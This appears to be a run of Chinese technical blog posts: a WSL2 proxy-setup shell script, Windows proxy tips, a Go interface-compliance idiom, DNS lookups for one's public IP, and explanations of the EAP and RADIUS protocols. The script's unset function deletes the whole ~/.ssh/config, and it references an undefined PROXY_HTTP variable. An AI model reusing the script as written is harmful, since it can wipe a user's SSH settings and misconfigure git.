APT 使用代理需要修改 /etc/apt/apt.conf.d/proxy.conf。

具体代码

以下为模块化后的全部代码，有详细的注释。

可以提取为命令使用，也可以放入 shell 配置文件（如：.bashrc、.zshrc）中使用。

运行 set_proxy 即可一键开启全部代理。

# 设置代理
set_proxy() {
	get_windows_ip
	set_proxy_environment_variable
	set_git_proxy
	set_npm_proxy
	set_yarn_proxy
	set_apt_proxy
}

# 取消代理设置
unset_proxy() {
	unset_proxy_environment_variable
	unset_git_proxy
	unset_npm_proxy
	unset_yarn_proxy
	unset_apt_proxy
}

# 获取 Windows IP
get_windows_ip() {
	export windows_ip=$(ip route | grep default | awk '{print $3}')
}

# 设置常见的环境变量
set_proxy_environment_variable() {
	export host="8081"
	export sock_proxy="socks5://${windows_ip}:${host}"
	export http_proxy="http://${windows_ip}:${host}"
	export ssh_proxy="${windows_ip}:${host}"

	# 系统环境变量
	export ALL_PROXY="${sock_proxy}"
	export all_proxy="${sock_proxy}"
	export http_proxy="${http_proxy}"
	export HTTP_PROXY="${http_proxy}"
	export https_proxy="${http_proxy}"
	export HTTPS_PROXY="${http_proxy}"
	export ftp_proxy="${http_proxy}"
	export FTP_PROXY="${http_proxy}"
	export rsync_proxy="${http_proxy}"
	export RSYNC_PROXY="${http_proxy}"
}

# 取消环境变量设置
unset_proxy_environment_variable() {
	unset ALL_PROXY
    unset all_proxy
	unset http_proxy
    unset HTTP_PROXY
    unset https_proxy
    unset HTTPS_PROXY
    unset ftp_proxy
    unset FTP_PROXY
    unset rsync_proxy
    unset RSYNC_PROXY
}

# 设置 Git 代理，包括 HTTP 和 SSH 方式
set_git_proxy() {
	# 通过命令行设置 HTTP 代理
    git config --global http.https://github.com.proxy ${PROXY_HTTP}
	# 修改配置文件来设置 SSH 代理
	# 如果是第一次设置，则全新写入
    if ! grep -qF "Host github.com" ~/.ssh/config; then
        echo "Host github.com" >> ~/.ssh/config
    	echo "    HostName ssh.github.com" >> ~/.ssh/config
        echo "    User git" >> ~/.ssh/config
		# 有些 VPS 不支持 SSH 默认的 22 端口号，所以要改成 433。
		echo "    Port 443" >> ~/.ssh/config
        echo "    ProxyCommand nc -X 5 -x ${ssh_proxy} %h %p" >> ~/.ssh/config
	# 如果不是第一次设置，则只在 ProxyCommand 这行替换新的 Windows IP
    else
		# 找到行号
        lino=$(($(awk '/Host github.com/{print NR}'  ~/.ssh/config)+4))
		# 替换 IP
        sed -i "${lino}c\    ProxyCommand nc -X 5 -x ${ssh_proxy} %h %p" ~/.ssh/config
    fi
}

# 取消 Git 代理设置
unset_git_proxy() {
    git config --global --unset http.https://github.com.proxy
	rm ~/.ssh/config
}

# 设置 NPM 代理
set_npm_proxy() {
	npm config set proxy ${http_proxy}
    npm config set https-proxy ${http_proxy}
}

# 取消 npm 代理设置
unset_npm_proxy() {
	npm config delete proxy
    npm config delete https-proxy
}

# 设置 Yarn 代理
set_yarn_proxy() {
    yarn config set proxy ${http_proxy}
    yarn config set https-proxy ${http_proxy}
}

# 取消 Yarn 代理设置
unset_yarn_proxy() {
    yarn config delete proxy
    yarn config delete https-proxy	
}

# 设置 APT 代理
set_apt_proxy() {
    echo "Acquire::http::Proxy \"${http_proxy}\";" | sudo tee /etc/apt/apt.conf.d/proxy.conf >/dev/null 2>&1
    echo "Acquire::https::Proxy \"${http_proxy}\";" | sudo tee -a /etc/apt/apt.conf.d/proxy.conf >/dev/null 2>&1
}

# 取消 APT 代理设置
unset_apt_proxy() {
	sudo rm /etc/apt/apt.conf.d/proxy.conf
}

参考链接

WSL2 的一些网络访问问题

Ubuntu「一键」设置代理

在 HTTPS 端口使用 SSH

Windows 常见代理设置

Wed, 16 Sep 2020 14:15:18 GMT

因为最近把开发环境换成了 Windows 和 WSL 的组合，而 Windows 下面的代理设置太繁琐，所以写了这篇博客来记录。

系统代理

设置 -> 网络和 Internet -> 代理。勾选使用代理服务器，输入对应的地址即可。

Windows Store 下载

Windows Store 下载无法直接使用系统代理，这是因为它基于 winhttp，而不是系统代理的 wininet。

所以需要从系统代理（即，IE）中导入。在命令行中输入：

netsh winhttp import proxy source=ie

或者是手动设置：

netsh winhttp set proxy localhost:8081

系统自动更新

系统自动更新跟 Windows Store 下载类似，也需要改为 wininet。

UWP 应用程序

UWP 应用程序同样无法直接使用系统代理，这是因为 UWP 应用程序默认运行在 AppContainers 独立进程上，它会限制网络流量发送到本地。

所以需要使用 EnableLoopback Utility 解除该限制。

勾选对应的应用，然后点击 Save Changes 即可。

参考链接

怎么设置win10自动更新走SS？

验证 Golang 接口的合规性

Sat, 15 Aug 2020 13:55:18 GMT

因为公司的项目经常出现这行代码：var _ Interface = (*Type)(nil)，所以写了这篇博客来解释它。

详细说明

var _ Interface = (*Type)(nil) 这段代码在很多项目的源码都有出现过，也是 Uber Go Style Guide 推荐的规范。

简单来说，它的作用是：检查 TestType 这个类型，是否实现了 TestInterface 这个接口，未实现则会出现编译时错误。

详细解释可以把等号两边分开来看：

Golang 的表达式从右边开始计算，所以先看右边部分：(*TestType)(nil)。它的意思是，声明一个 nil 常量，然后转换为 *TestType 类型。相当于：var testType *TestType = nil。
再看左边部分：var _ TestInterface。它的意思是，声明一个接口变量，赋值为右边的表达式，然后把变量丢弃。代码如下：

type TestInterface interface {
	Hello()
}

type TestType struct{}

func (t TestType) Hello() {}

var _ TestInterface = (*TestType)(nil)

注释或删除掉 func (t TestType) Hello() {} 这行，相当于 TestType 未实现 TestInterface 接口，就会出现编译时错误：Cannot use '(*TestType)(nil)' (type *TestType) as the type TestInterface Type does not implement 'TestInterface' as some methods are missing: Hello()。

另一种比较繁琐，但易于理解的代码如下：

type TestInterface interface {
	Hello()
}

type TestType struct{}

func (t TestType) Hello() {}

func TestCompliance(t *testing.T) {
	var testType *TestType = nil
	var testInterface TestInterface
	testInterface = testType
	fmt.Println(testInterface)
}

指针形式

还有一个问题，为什么右边的类型要用 指针形式（*TestType） 呢？

让我们先把它转换成 非指针形式（TestType） 看看，值也改成对应类型的零值（struct{}{}）：

type TestInterface interface {
	Hello()
}

type TestType struct{}

func (t TestType) Hello() {}

var _ TestInterface = (TestType)(struct{}{})

如果把 func (t TestType) 改成 func (t *TestType) 同样会出现错误。

这是因为指针形式与非指针形式不同，拥有的方法不同，实现的接口也不同。

相比之下，指针形式拥有非指针形式的方法，实现了 *TestType 接口的值也实现了 TestType 接口。

所以指针形式比非指针形式更加通用。

参考链接

golang-interface(二) 常见问题/底层实现

不通过浏览器获取公网 IP

Tue, 14 Jul 2020 10:35:30 GMT

本文介绍了如何不通过浏览器获取公网 IP。

有的时候我们的计算机处于受限状态，不能使用浏览器或者 HTTP 协议。

也就不能使用类似：

curl ifconfig.io

之类的命令来获取公网 IP。

但其实可以不通过浏览器，而是通过 DNS 来获取公网 IP，使用如下命令：

dig @ns1.google.com TXT o-o.myaddr.l.google.com +short
# 或者：nslookup -type=TXT o-o.myaddr.l.google.com ns1.google.com

其它的 DNS 提供商也可以：

# OpenDNS
dig myip.opendns.com @resolver1.opendns.com +short
# 或者：nslookup myip.opendns.com resolver1.opendns.com

# Akamai
dig whoami.akamai.net. @ns1-1.akamaitech.net. +short
# 或者：nslookup whoami.akamai.net. ns1-1.akamaitech.net.

这些命令会返回公网 IP 的原理是：

Google 等公司会编写程序，监听在它们类似 o-o.myaddr.l.google.com 的地址上。

只要有请求，就会将请求的源 IP 地址作为数据直接返回。

EAP 详解

Tue, 19 Nov 2019 20:27:00 GMT

EAP，即扩展认证协议（Extensible Authentication Protocol），由 RFC 3748 定义，是一个在网络中经常使用的身份验证框架，并在 WiFi（IEEE 802.11）下的 WPA 和 WPA2 标准中作为规范认证机制。

出现原因

在 RADIUS 中，NAS 作为中间人需要了解 PC 客户端和 AAA 服务器之间的各种认证方式。

比如说，在使用 PAP 时，它就需要知道如何组织 User-Password 属性；在使用 CHAP 时，它就需要知道如何组织 CHAP-Password 和 CHAP-Challenge 属性。

在这种背景下，一旦要支持新的认证方式，那么参与认证的三方都需要进行修改和支持，这其中作为发起者的 PC 客户端和作为认证结束端的 AAA 服务器是必须进行修改的。

如果有一种协议能让作为中间人的 NAS 透明的转发 PC 和 AAA 之间的数据包，这样 NAS 就可以不进行修改。

基于以上考虑，EAP 应运而生。

架构

EAP 身份验证架构主要包含三个组件：

请求方（PC）
身份验证器（NAS）
身份验证服务器（AAA）

具体架构如下图所示：

EAP 的交换过程例子如下图所示：

包格式

EAP 的基础包格式如下表所示：

Code	Identifier	Length	Data
1 byte	1 byte	2 bytes	variable length

其中 Code 的分配如下表所示：

Code	Assignment
1	Request
2	Response
3	Success
4	Failure
5	Initiate
6	Finish

EAP 的 Request 和 Response 包格式如下表所示：

Code	Identifier	Length	Type	Type-Data
1 byte	1 byte	2 bytes	1 byte	variable length

EAP 的 Success 和 Failure 包格式如下表所示：

Code	Identifier	Length
1 byte	1 byte	2 bytes

其中部分 Type 分配如下表所示：

Type	Assignment
0	Reserved
1	Identify
2	Notification
3	NAK (Response Only)
4	MD5-Challenge
5	OTP, One Time Password
6	GTC, Generic Token Card
...	...

其余分配见：EAP Types – Extensible Authentication Protocol Types information。

封装

EAP 一般运行在数据链路层上，作为一种身份验证框架，而不是一种特定的身份验证机制，它为扩展和协商认证协议提供了一个标准，是为了承载多种认证协议而生的。

所以每个使用 EAP 的协议都定义了一种将用户 EAP 消息封装到该协议的消息中的方法。

PPP：EAP 最初是 PPP 的身份验证扩展。自从 EAP 被创建为 CHAP 和 PAP 的替代产品以来，PPP 就一直支持着 EAP。在 PPP 中的 EAP 由 RFC 3748 定义。

IEEE 802.1X：EAPoL（EAP over LAN）即 IEEE 802 的 EAP 封装，在 IEEE 802.1X 中定义。

RADIUS：像 RADIUS 这种 AAA 协议也可以封装 EAP 消息。NAS 设备经常使用它们在 IEEE 802.1X 端点和 AAA 服务器之间转发 EAP 数据包，以促进 IEEE 802.1X。

EAPoL

在 PC 和 NAS 之间，EAP 报文使用 EAPoL（EAP over LAN）封装格式，直接承载于 LAN 环境中。

在 NAS 和 AAA 之间，EAP 报文可以使用 EAPoR（EAP over RADIUS）封装格式，承载于 RADIUS 协议中；也可以由 NAS 终结转换，直接在 PC 与 AAA 之间传送 PAP 报文或 CHAP 等报文。

EAP 上承载的认证协议对 NAS 来说是透明的，NAS 不需要了解，也不需要支持，它只需要支持 EAP 即可。

EAPoL 是一种 EAP 在 LAN 上运行的简单封装。在有线环境下，共有三个组件：

请求方（访问网络资源的 PAE）
身份验证器（控制网络访问的 PAE）
身份验证服务器（RADIUS/AAA）

EAPoL 的具体架构如下图所示：

EAPoL 的帧格式如下表所示：

MAC Header	Ethernet Type	Version	Packet Type	Packet Body Length	Packet Body	FCS
12 bytes	2 bytes	1 byte	1 byte	2 bytes	variable length	4 bytes

MAC Header 表示 MAC 地址，前 6 个字节是目标地址，后 6 个字节是源地址。
Ethernet Type 表示类型代码，分配给 EAPoL 的是 0x888e。
Version 表示 802.1X 版本。
Packet Type 表示帧的类型，分配如下表所示：

Packet Type	Assignment
0	EAP-Packet
1	EAPOL-Start
2	EAPOL-Logoff
3	EAPOL-Key
4	EAPOL-Encapsulated-ASF-Alert

EAPoL 的交换过程例子如下图所示：

认证机制

EAP 一般运行在数据链路层上，可以直接运行于 PPP 或者 IEEE 802 之上，而不必依赖于 IP。在有线局域网和无线局域网中都可使用。

EAP 支持重传机制，但依赖于底层保证报文的有序传输，也就是说不支持乱序报文的接收。协议本身不支持分片与重组，当一些 EAP 认证方法需要传输大于 MTU 的数据包时，需要认证方法自身处理分片与重组。

EAP 提供了一些常用功能和被称为 EAP 方法的身份验证机制。当前定义了约 40 种不同的方法。RFC 中定义的方法包括 EAP-MD5、EAP-TLS、EAP-TTLS、EAP-FAST、EAP-SIM 等，这其中的大部分方法都可以在 WiFi 中使用。

此外，还存在许多特定于供应商的方法和建议。

EAP-MD5

EAP-MD5 由 RFC 2284 定义，是标准中第一个定义的 EAP 方法，只提供最小的安全性。

由于 MD5 散列函数容易受到字典攻击，并且不支持密钥生成，这使得它不能被动态 WEP 和 WPA/WPA2 Enterprise 使用。

EAP-MD5 与其他 EAP 方法的不同之处在于，它仅向 EAP 服务器提供对方的身份验证，而不能提供相互身份验证，所以 EAP-MD5 容易受到中间人攻击。

LEAP

LEAP（Lightweight Extensible Authentication Protocol） 是一个 Cisco 开发的专用认证方法。

它本质上就是一个增加了动态 WEP 密钥和互验证（在客户端和 RADIUS 服务器之间）功能的 EAP-MD5。

动态 WEP 密钥意为：LEAP 允许客户端频繁地重新认证，所以在每次成功的身份验证后，客户端将获得一个新的 WEP 密钥，由此来希望该 WEP 密钥的寿命不足以被破解。

由于 EAP-MD5 最初并不是针对一个不受信的无线网络环境设计的，而是针对一个拥有一定物理安全的有线网络环境设计的，所以 LEAP 不适合用于无线局域网身份验证。

LEAP 本身的安全也很薄弱，无法抵御离线的字典攻击，因为它只是单纯的依靠 MS-CHAPv2 来保护用于无线局域网身份验证的用户证书。

由于 MS-CHAPv2 并没有在 NT Hash 中加盐，而是采用了两个字节的 DES 密钥，而且用户名使用明文传输，所以离线的字典攻击或者类似的暴力破解可以使用一个巨大的字典库对该系统进行有效的破解。

EAP-TLS

EAP-TLS（EAP Transport Layer Security） 由 RFC 5216 定义，是一个基于 TLS 协议的 EAP 方法，在供应商中有着良好的支持，截止至 2005 年 4 月，EAP－TLS 是供应商唯一需要保证实现的 WPA 和 WPA2 的 EAP 方法。

TLS 认证基于互验证，即客户端和服务器双方互相验证数字证书。

服务器提供自己的证书给客户端，客户端验证服务器证书通过后再提交自己的数字证书给服务器，所以一个脆弱的密码并不会导致基于 EAP-TLS 的系统遭到入侵，因为攻击者仍然需要客户端的证书。

客户端证书的要求使得 EAP-TLS 仍然被认为是可用的最安全的 EAP 标准之一。

可用的最高安全实践是将客户端证书的私钥放在智能卡中时，所以如果不窃取智能卡本身，就无法从智能卡窃取客户端证书的对应私钥。

与常见的密码盗窃相比，智能卡的物理盗窃更有可能被注意到，而且还能随时吊销智能卡。

此外，智能卡上的私钥通常使用仅智能卡所有者知道的 PIN 码进行加密，这样在智能卡被盗和发现并吊销的这段时间里，也能最大程度的防止被冒用。

EAP-TLS 的安全等级之所以如此之高，是因为它在传统的便利性与安全性之间选择了安全性。

TLS 基于的 PKI 证书体系，即是 TLS 的安全基础，也是 TLS 的缺点，这是因为 PKI 十分庞大和复杂。如果企业中原本没有部署 PKI 系统，那么单纯地为了这个认证方法而部署 PKI 则不是很合适。

EAP-TLS 的缺点还有客户端在认证时的负载较高和证书管理困难等。

EAP-TTLS

EAP-TTLS（EAP Tunneled Transport Layer Security） 由 Funk Software 和 Certicom 共同开发，并在各个平台上得到广泛支持，是一个基于隧道 TLS 的 EAP 方法。

它有两个版本，分别是 EAP-TTLSv0 和 EAP-TTLSv1，分别由 RFC 5281 和 draft-funk-eap-ttls-v1-01 定义。

为了解决 EAP-TLS 需要部署 PKI 系统的缺点，所以出现了 EAP-TTLS 方法，这样就不用建立 PKI 系统，而是直接在 TLS 隧道内部使用原有的认证方法，这样即保证了安全性，也减小了复杂度。

EAP-TTLS 是典型的两段式认证，第一阶段时建立 TLS 安全隧道，通过服务器发送证书给客户端实现认证，该阶段虽然也使用证书，但都是服务器证书，管理起来比 EAP-TLS 的客户端证书要简单。当安全隧道建立后，再开始第二阶段，也就是协商认证方法，对客户端进行认证。

客户端可以但不必通过 CA 签名的 PKI 证书对服务器进行身份验证。由于不需要在每个客户端上使用证书，因此可以大大简化设置过程。

EAP-TTLS 可以使用现有的且广泛部署的身份验证协议和基础结构，并结合了旧的密码机制和身份验证数据库，而安全隧道则提供了防止窃听和中间人攻击的保护。用户名也不会以未加密的明文形式传输，从而提高了隐私性。

PEAP

PEAP（Protected Extensible Authentication Protocol），是一种把 EAP 封装到 TLS 隧道中的协议。

PEAP 由 Cisco Systems、Microsoft 和 RSA Security 联合开发。它有三个版本，分别是 PEAPv0、PEAPv1 和 PEAPv2，分别由 draft-kamath-pppext-peapv0-00、draft-josefsson-pppext-eap-tls-eap-00 draft-josefsson-pppext-eap-tls-eap-05 和 draft-josefsson-pppext-eap-tls-eap-06 定义。

EAP 默认拥有安全的通信线路，如有物理安全保护的通信线路，因此未提供用于保护 EAP 对话的机制。但是广泛使用的无线局域网中是没有物理安全保护的，所以提出 Protected EAP 来改进这个缺陷。

PEAP 在设计上和 EAP-TTLS 类似，只需要服务器端 PKI 证书，就能创建安全的 TLS 隧道来保护身份验证。

PEAP 没有指定特定方法，它可以和多个 EAP 方法搭配使用。最普遍支持使用的是 PEAPv0/EAP-MSCHAPv2 和 PEAPv1/EAP-GTC。截至 2005 年 5 月，这两种 PEAP 子类型已经获得了 WPA/WPA2 标准的认证。

EAP-FAST

EAP-FAST（EAP Flexible Authentication via Secure Tunneling） 由 RFC 4851 定义，由 Cisco Systems 提出，用于代替 LEAP，旨在解决 LEAP 的弱点，同时保留轻量。

EAP-FAST 和 PEAP 类似，有两个主要阶段。第一阶段是建立一个安全的加密隧道，第二阶段是通过 MS-CHAPv2 来对客户端身份进行验证。由于 MS-CHAPv2 是一个相当脆弱的协议，通过字典攻击很容易被破解，因此第一阶段建立的安全加密隧道为 MS-CHAPv2 提供了一个安全的环境。

EAP-FAST 与 PEAP 不同之处，在于建立安全隧道的方式：EAP-FAST 采用 PAC（受保护的访问凭据）来建立隧道，而 PEAP 则是采用服务器端的数字证书建立 TLS 隧道（与 HTTPS 的工作方式类似）。

EAP-FAST 的验证服务器会为每个用户提供一个特殊的 PAC 文件，而配发这个 PAC 的过程可以被认作是阶段零，即自动提供。如果不使用 PAC 文件，则可以当作普通的 EAP-TLS 使用。

其它认证机制

EAP-SIM

EAP-SIM（EAP Subscriber Identity Module）由 RFC 4186 定义，它通过全球移动通信系统（GSM）中的用户身份模块（SIM）进行身份验证和会话密钥分发。

EAP-SIM 在客户端和 AAA 服务器之间使用 SIM 身份验证算法来提供互验证。

在 EAP-SIM 中，SIM 卡与身份验证中心（AuC）之间的通信取代了客户端与 AAA 服务器之间需要预先建立密码的要求。

EAP-AKA

EAP-AKA（EAP Authentication and Key Agreement）由 RFC 4187 定义，它通过 USIM 进行身份验证和会话密钥分发。

EAP-AKA'

EAP-AKA'（EAP Authentication and Key Agreement prime）由 RFC 5448 定义，对 EAP-AKA 进行了以下两个主要修改：更新了密钥导出机制和防止降级攻击（Downgrade attack），即中间人可能操作认证过程，使双方在协商认证算法时使用安全程度较低的算法，如 EAP-AKA’ 降级为 EAP-AKA。

EAP-GTC

EAP-GTC（EAP Generic Token Card）由 RFC 2284 和 RFC 3748 定义，用于代替 PEAPv0/EAP-MSCHAPv2。它通过使用来自身份验证服务器的文本质询和由安全令牌生成的回复来进行身份验证。

EAP-IKEv2

EAP-IKEv2（EAP Internet Key Exchange v. 2）由 RFC 5106 定义，原型实现为 EAP-IKEv2 Project 。

EAP-IKEv2 是基于 Internet Key Exchange 的 EAP 方法，它提供 EAP 对等方和服务器之间的相互身份验证和会话密钥建立。

EAP-PWD

EAP-PWD（EAP Password）由 RFC 5931 定义，它是一种通过使用共享密码进行身份验证的 EAP 方法。该密码可以是低熵密码，并且可以从一组可能的密码中获取，如字典，攻击者可以使用该密码。底层的密钥交换可以抵抗主动攻击、被动攻击和字典攻击。

EAP-PSK

EAP-PSK（EAP Pre-Shared Key）由 RFC 4764 定义，它通过使用 PSK 来进行相互身份验证和会话密钥派生。

当互验证成功时，它为双方通信提供了一个受保护的线路，并设计用于通过不安全的网络（如 IEEE 802.11）进行认证。

EAP-EKE

EAP-EKE（EAP Encrypted Key Exchange）由 RFC 6124 定义，通过使用短密码来提供安全的互验证，而不需要公钥证书。

EAP-NOOB

EAP-NOOB（Nimble out-of-band authentication for EAP）由 draft-aura-eap-noob-08 定义，是一种通用的自举解决方案，适用于没有预先配置身份验证凭据，且尚未在任何服务器上注册的设备。如没有任何所有者、网络或服务器信息的物联网（IoT）设备。

EAP-POTP

EAP-POTP（EAP Protected One-Time Password）由 RFC 4793 定义，是由 RSA Laboratories 使用一次性密码（OTP）令牌（如手持式硬件设备、硬件或软件模块）开发的 EAP 方法。

EAP-POTP 在个人计算机上运行，以生成身份验证密钥。可用于在其它 EAP 方法中提供互验证和密钥材料。

EAP-POTP 提供了双因素的用户身份验证，这意味着用户既需要对令牌进行物理访问，又需要知道 PIN 才能通过身份验证。

TEAP

TEAP（Tunnel Extensible Authentication Protocol）由 RFC 7170 定义，是一种基于隧道的 EAP 方法，可通过使用 TLS 协议建立隧道，来实现对等方和服务器之间的安全通信。

TEAP 在隧道内通过 TLV（Type-Length-Value）对象来传递与身份验证相关的数据。

TEAP 允许通过发送特定格式的请求来向服务器询问证书和提供证书，还允许通过该格式将受信任的根证书分发给对等方。这两种操作都封装在相应的 TLV 中，并且以安全的方式在先前建立的 TLS 隧道内进行。

协议与密码兼容性

密码能够以多种形式存储在数据库中，如明文、MD5 散列、NT 散列或其他形式。

在 EAP 和 RADIUS 中，你想使用的身份验证协议有时候和你的密码存储方式不兼容。

身份验证协议和密码存储方式的兼容性如下表所示：

	Clear-text	NT hash	MD5 hash	Salted MD5 hash	SHA1 hash	Salted SHA1 hash	Unix Crypt
PAP	yes	yes	yes	yes	yes	yes	yes
CHAP	yes	no	no	no	no	no	no
Digest	yes	no	no	no	no	no	no
MS-CHAP	yes	yes	no	no	no	no	no
PEAP	yes	yes	no	no	no	no	no
EAP-MSCHAPv2	yes	yes	no	no	no	no	no
LEAP	yes	yes	no	no	no	no	no
EAP-GTC	yes	yes	yes	yes	yes	yes	yes
EAP-MD5	yes	no	no	no	no	no	no
EAP-SIM	yes	no	no	no	no	no	no
EAP-TLS	no	no	no	no	no	no	no

如果对应的单元格为 yes，则表示相应的密码存储方式和协议兼容，并且可以进行身份验证。

如果对应的单元格为 no，则表示相应的密码存储方式和协议不兼容，并且无法进行身份验证。解决方法是停止尝试使用该身份验证协议，或者以与该身份验证协议兼容的形式存储密码，也就是说让用户更改密码。

参考链接

Extensible Authentication Protocol - Wikipedia

RFC 3748 - Extensible Authentication Protocol (EAP)

EAP - Extensible Authentication Protocol

EAPoL - Extensible Authentication Protocol over LAN

EAP 认证

Deploying RADIUS: Protocol and Password Compatibility

RADIUS 详解

Thu, 24 Oct 2019 17:16:20 GMT

RADIUS，即远程用户拨入验证服务（Remote Authentication Dial In User Service），是应用最为广泛的 AAA 协议之一。

而 AAA 是身份验证（Authentication）、授权（Authorization）和计费（Accounting）的简称，是进行访问控制的一种框架，可用多种协议来实现，其中最常见的一种就是 RADIUS。

RADIUS 是一种 C/S 架构的协议，由 RFC 2865 和 RFC 2866 定义，最初的客户端为 NAS 服务器。

实际上任何运行了 RADIUS 客户端软件（如 FreeRADIUS）的计算机都可以被看作是 RADIUS 的客户端。

工作过程

RADIUS 的工作过程如下图所示：

使用文字来叙述则是：

用户输入用户名和口令。
RADIUS 客户端根据获取到的用户名和口令向 RADIUS 服务器发送认证请求包（Access-Request）。
RADIUS 服务器对接收到的用户名和口令进行认证（如查询数据库），如果认证成功，则返回认证接受包（Access-Accept）；如果认证失败，则返回认证拒绝包（Access-Reject）；如果具体认证机制需要进行 Challenge，则返回认证挑战包（Access-Challenge）。
RADIUS 客户端向 RADIUS 服务器发送计费开始请求包（Accounting-Request），该包中的 Acct-Status-Type 取值为 1，意为开始。
RADIUS 服务器接收到计费开始请求包后返回计费开始响应包（Accounting-Response）。
用户这时在给定的权限限制下访问资源。
用户访问资源结束后，RADIUS 客户端向 RADIUS 服务器发送计费停止请求包（Accounting-Request），该包中的 Acct-Status-Type 取值为 2，意为停止。
RADIUS 服务器接收到计费停止请求包后返回计费结束响应包（Accounting-Response）。
RADIUS 客户端通知用户访问结束。

包格式

RADIUS 的包格式如下：

这些字段从左到右依次传输，即从 Code 开始到 AVPs 结束。

所有 Code 分配如下：

Code	Assignment
1	Access-Request
2	Access-Accept
3	Access-Reject
4	Accounting-Request
5	Accounting-Response
11	Access-Challenge
12	Status-Server (experimental)
13	Status-Client (experimental)
40	Disconnect-Request
41	Disconnect-ACK
42	Disconnect-NAK
43	CoA-Request
44	CoA-ACK
45	CoA-NAK
255	Reserved

其中的属性值对（AVPs, Attribute value pairs）为一个个三元组，结构如下：

部分 Type 分配如下：

AVP type	Assignment
1	User-Name
2	User-Password
3	CHAP-Password
4	NAS-IP-Address
5	NAS-Port
6	Service-Type
7	Framed-Protocol
8	Framed-IP-Address
9	Framed-IP-Netmask
10	Framed-Routing
11	Filter-Id
12	Framed-MTU
13	Framed-Compression
14	Login-IP-Host
15	Login-Service
16	Login-TCP-Port
...	...

其余分配见 Attribute_value_pairs。

其它细节

和其它 AAA 协议不同，RADIUS 协议合并了身份验证和授权的过程，即在身份验证响应报文中携带了授权信息。

RADUIS 服务器和 NAS 服务器之间通过 UDP 协议进行通信，还规定了重传机制，并由 1812 端口负责认证，1813 端口负责计费。

如果 NAS 向某个 RADIUS 服务器发起请求没有收到响应，那么可以要求备份 RADUIS 服务器重传。由于有多个备份 RADIUS 服务器，因此 NAS 可以采用轮询的方法。

如果备份 RADIUS 服务器的密钥和以前的 RADIUS 服务器的密钥不同，则需要重新进行认证。

RADIUS 还支持代理功能，即作为 RADIUS 代理服务器，只负责转发 RADIUS 数据包到其它 RADIUS 服务器。如下图所示：

认证机制

RADIUS 的认证机制可以采用 PAP、CHAP、MS-CHAP 等方法，而采用不同的方法，RADIUS 的具体工作过程也不相同。

PAP

密码认证协议（PAP, Password Authentication Protocol） 由 RFC 1334 定义，是典型的二次握手简单认证协议，它是一种弱密码认证方法，其密码以 ASCII 格式在线路上进行传输，对于窃听和重放没有任何保护。

在 PAP 中，只由 NAS 来验证 PC，即单向验证。所以 PAP 工作过程其实相当简单，首先由客户端发送认证请求（Authentication-Request），包含用户名和密码，然后由服务器来验证，如果凭据正确，服务器发送认证确认（Authentication-Ack），否则发送认证否定（Authentication-Nak）。

具体工作细节如下：

PC <---> NAS：这部分的传输信息是否为明文由数据链路层上的协议来决定，如果在 PPP 协议上运行，则为明文；如果在 TTLS 协议上运行，则外层隧道是加密的，即使 PAP 使用的是明文密码，从隧道外来说仍然是加密的。
NAS <---> AAA：NAS 将密码加密，放到 RADIUS 数据包中的 User-Password 属性中发送到 RADIUS 服务器，服务器收到认证请求后，使用和 NAS 预先共享的密钥加上数据包中的 Authenticator 属性进行解密，然后跟数据库中的密码进行对比来得到认证结果。

具体包格式如下：

Description	1 byte	1 byte	2 bytes	1 byte	Variable	1 byte	Variable
Authentication-Request	Code = 1	ID	Length	Username length	Username	Password length	Password
Authentication-Ack	Code = 2	ID	Length	Message length	Message
Authentication-Nak	Code = 3	ID	Length	Message length	Message

并被嵌入到 PPP 协议的帧中，Protocol 的值为十六进制的 C023。

Flag	Address	Control	Protocol (C023 (hex))	Payload (table above)	FCS	Flag

CHAP

询问握手认证协议（CHAP, Challenge-Handshake Authentication Protocol） 由 RFC 1994 定义，是一种三次握手协议。

因为通过使用递增更改的 Packet Identifier 和可变的 Challenge value 来提供保护，所以防止了重放攻击，相对于 PAP 来说安全性高一些。

在 CHAP 中，通过三次握手周期性的验证对端的身份，可在初始链路建立时进行，也可以在链路建立之后重复进行。

举个例子，如果 NAS 要对 PC 进行验证，步骤如下：

在链路建立后，NAS 向 PC 发送一个 Challenge 包。
PC 收到该包后，对该包和密码组合后使用哈希函数（如 MD5）计算出密文放入 Response 包中，并发送回 NAS。
NAS 收到密文后，对原本的 Challenge 和密码进行哈希，得到另一组密文。如果这两组密文相同则表示验证通过并发送 Success 包，不相同则表示验证失败并发送 Failure 包。

具体工作细节如下：

PC <---> NAS：NAS 向 PC 发送一个 Challenge 包，该包中的值是随机的，然后 PC 将用户输入的明文密码和接收到的 Challenge 包加密后将用户名和密文打包后发送给 NAS。
NAS <---> AAA：NAS 收到 PC 发送的认证请求后，将用户名和密文打包进 RADIUS 数据包中的 User-Name 和 CHAP-Passowrd 中，还需要携带 Challenge 给 RADIUS 服务器，否则服务器无法验证，一般选择放入 CHAP-Challenge 或 Authenticator 中。NAS 将以上数据发送给 RADIUS 服务器后，服务器在本地读取明文密码，加上 Challenge 后用相同哈希函数计算出密文，与 CHAP-Password 进行对比后得到认证结果。

在 FreeRADIUS 中，一般是先从复杂的协议开始确认，比如先在属性中查找是否有 CHAP-Password 属性，如果有就当作 CHAP 处理，如果没有找到 CHAP-Password ，再查找是否有 User-Password 属性，如果有就当作 PAP 处理。

特点有：

要求客户端和服务器都知道密钥，而这个密钥不是通过链路传输的。
虽然认证是单向的，但是在两个方向都可以进行，同一密钥可以很容易的实现相互认证。
在大型网络中不适用，因为每个密钥由链路的两端共同维护，这样会开销会指数性提升。

具体包格式如下：

Description	1 byte	1 byte	2 bytes	1 byte	Variable	variable
Challenge	Code = 1	ID	Length	Challenge Length	Challenge value	Name
Response	Code = 2	ID	Length	Response Length	Response value	Name
Success	Code = 3	ID	Length		Message
Failure	Code = 4	ID	Length		Message

MS-CHAP

微软询问握手认证协议（MS-CHAP, Microsoft Challenge-Handshake Authentication Protocol） 有两个版本 MS-CHAPv1 和 MS-CHAPv2，这两个版本分别由 RFC 2433 和 RFC 2759 定义，用作与 IEEE 802.1X 一起使用的 RADIUS 服务器的身份验证选项（如使用 WPA-Enterprise 的 WiFi 认证），更进一步用作 PEAP 的主要身份验证选项。

MS-CHAPv1 的基本思想就是发送的 Response 包不再是 CHAP 中的 MD5(明文密码 + Challenge) 的形式了，而是把明文密码改成 MS 加密后的密文，也就是说 PC 发送密码时使用单向加密后的密码再加密。

所以认证端也不用明文密码，但只有明文密码的话，可以对明文密码进行和 MS 一样的加密来获取密文。

